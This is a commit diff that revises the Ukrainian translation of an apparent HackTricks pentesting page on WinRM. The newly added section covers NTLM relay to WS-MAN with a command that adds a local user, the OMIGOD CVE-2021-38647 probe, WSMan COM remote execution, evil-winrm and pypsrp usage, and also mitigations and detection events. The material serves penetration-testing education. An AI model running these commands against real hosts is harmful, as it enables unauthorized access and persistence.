Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.

This commit is contained in:
Translator 2025-08-13 16:40:39 +00:00
parent 1f16406041
commit e2294d4784

View File

@ -11,7 +11,7 @@
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
Відкритий порт зі списку вище свідчить про те, що WinRM було налаштовано, що дозволяє спроби ініціювати віддалену сесію.
Відкритий порт зі списку вище означає, що WinRM було налаштовано, що дозволяє спроби ініціювати віддалену сесію.
### **Ініціювання сесії WinRM**
@ -26,11 +26,11 @@ Set-Item wsman:\localhost\client\trustedhosts *
```bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Цей метод дозволяє віддалено налаштувати WinRM, підвищуючи гнучкість у керуванні Windows-машинами з відстані.
Цей метод дозволяє віддалено налаштувати WinRM, підвищуючи гнучкість в управлінні Windows-машинами з відстані.
### Перевірте, чи налаштовано
Щоб перевірити налаштування вашої атакуючої машини, використовується команда `Test-WSMan`, щоб перевірити, чи правильно налаштовано WinRM на цільовій машині. Виконавши цю команду, ви повинні очікувати отримати деталі щодо версії протоколу та wsmid, що вказує на успішну конфігурацію. Нижче наведені приклади, що демонструють очікуваний вихід для налаштованої цілі в порівнянні з неналаштованою:
Щоб перевірити налаштування вашої атакуючої машини, команда `Test-WSMan` використовується для перевірки, чи правильно налаштовано WinRM на цільовій машині. Виконавши цю команду, ви повинні очікувати отримати деталі щодо версії протоколу та wsmid, що вказує на успішну конфігурацію. Нижче наведені приклади, що демонструють очікуваний вихід для налаштованої цілі в порівнянні з неналаштованою:
- Для цілі, яка **налаштована** правильно, вихід виглядатиме приблизно так:
```bash
@ -40,7 +40,7 @@ Test-WSMan <target-ip>
![](<../images/image (582).png>)
- Навпаки, для цілі, **не** налаштованої для WinRM, це призведе до відсутності такої детальної інформації, підкреслюючи відсутність належної конфігурації WinRM.
- Навпаки, для цілі **не** налаштованої для WinRM, це призведе до відсутності такої детальної інформації, підкреслюючи відсутність належного налаштування WinRM.
![](<../images/image (458).png>)
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
Ви також можете **виконати команду вашої поточної PS консолі за допомогою** _**Invoke-Command**_. Припустимо, що у вас локально є функція під назвою _**enumeration**_, і ви хочете **виконати її на віддаленому комп'ютері**, ви можете зробити:
Ви також можете **виконати команду вашої поточної PS консолі через** _**Invoke-Command**_. Припустимо, що у вас локально є функція під назвою _**enumeration**_, і ви хочете **виконати її на віддаленому комп'ютері**, ви можете зробити:
```bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -89,7 +89,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **Примусове відкриття WinRM**
Щоб використовувати PS Remoting та WinRM, але комп'ютер не налаштований, ви можете активувати його за допомогою:
Щоб використовувати PS Remoting та WinRM, але комп'ютер не налаштований, ви можете увімкнути його за допомогою:
```bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
@ -160,7 +160,7 @@ docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Використання скрипта на ruby
### Використання скрипта на Ruby
**Код витягнуто з тут:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
```ruby
@ -220,11 +220,77 @@ end
- `port:5985 Microsoft-HTTPAPI`
## References
---
## Останні вразливості та наступальні техніки (2021-2025)
### NTLM реле безпосередньо до WinRM (WS-MAN)
Оскільки Impacket 0.11 (травень 2023) `ntlmrelayx.py` може релеювати захоплені NTLM облікові дані безпосередньо до **WS-MAN**/WinRM слухача. Коли хост все ще слухає на **некодованому HTTP (5985)**, зловмисник може поєднати *mitm6* (або *Responder*), щоб примусити аутентифікацію та отримати виконання коду на рівні SYSTEM:
```bash
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
```
Зменшення ризиків
* Вимкніть HTTP-слухачі `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
* Примусьте HTTPS та увімкніть Розширений захист для автентифікації (EPA) на новіших версіях Windows.
### OMIGOD CVE-2021-38647 (Azure OMI)
Агенти Azure Linux використовують службу **Open Management Infrastructure (OMI)**, яка відкриває API WinRM/WS-MAN на портах **5985/5986**. Логічна помилка дозволила **неавтентифіковане RCE як root**:
```text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml />'
```
Виправте або видаліть OMI (версія ≥ 1.6.8-1) та заблокуйте ці порти з Інтернету.
### Зловживання WSMan.Automation COM для бічного переміщення
WinRM можна використовувати без PowerShell через об'єкт `WSMan.Automation` COM корисно на системах у режимі обмеженої мови. Інструменти, такі як *SharpWSManWinRM*, обгортають цю техніку:
```powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
```
Цепочка виконання (`svchost → wmiprvse → cmd.exe`) ідентична класичному PS-Remoting.
---
## Оновлення інструментів
* **Evil-WinRM v3.x (2024)** тепер підтримує **Kerberos** (`-k` / `--spn`) та **сертифікатну** аутентифікацію (`--cert-pem`/`--key-pem`), ведення журналу сесій (`-L`) та можливість вимкнення завершення віддалених шляхів (`-N`).
```bash
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
```
* **Python `pypsrp` 0.9 (2024)** пропонує WinRM та PS-Remoting з Linux, включаючи CredSSP та Kerberos:
```python
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
```
* **Виявлення** моніторинг журналу **Microsoft-Windows-WinRM/Operational**:
* Подія 91 / 163 створено оболонку
* Подія 182 збій аутентифікації
* У журналі безпеки подія 4262 фіксує IP-адресу джерела (додано у липневих оновленнях 2022 року).
Збирайте ці дані централізовано та сповіщайте про анонімні або зовнішні IP-адреси.
---
## Shodan
- `port:5985 Microsoft-HTTPAPI`
## Посилання
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Automatic Commands
## HackTricks Автоматичні команди
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.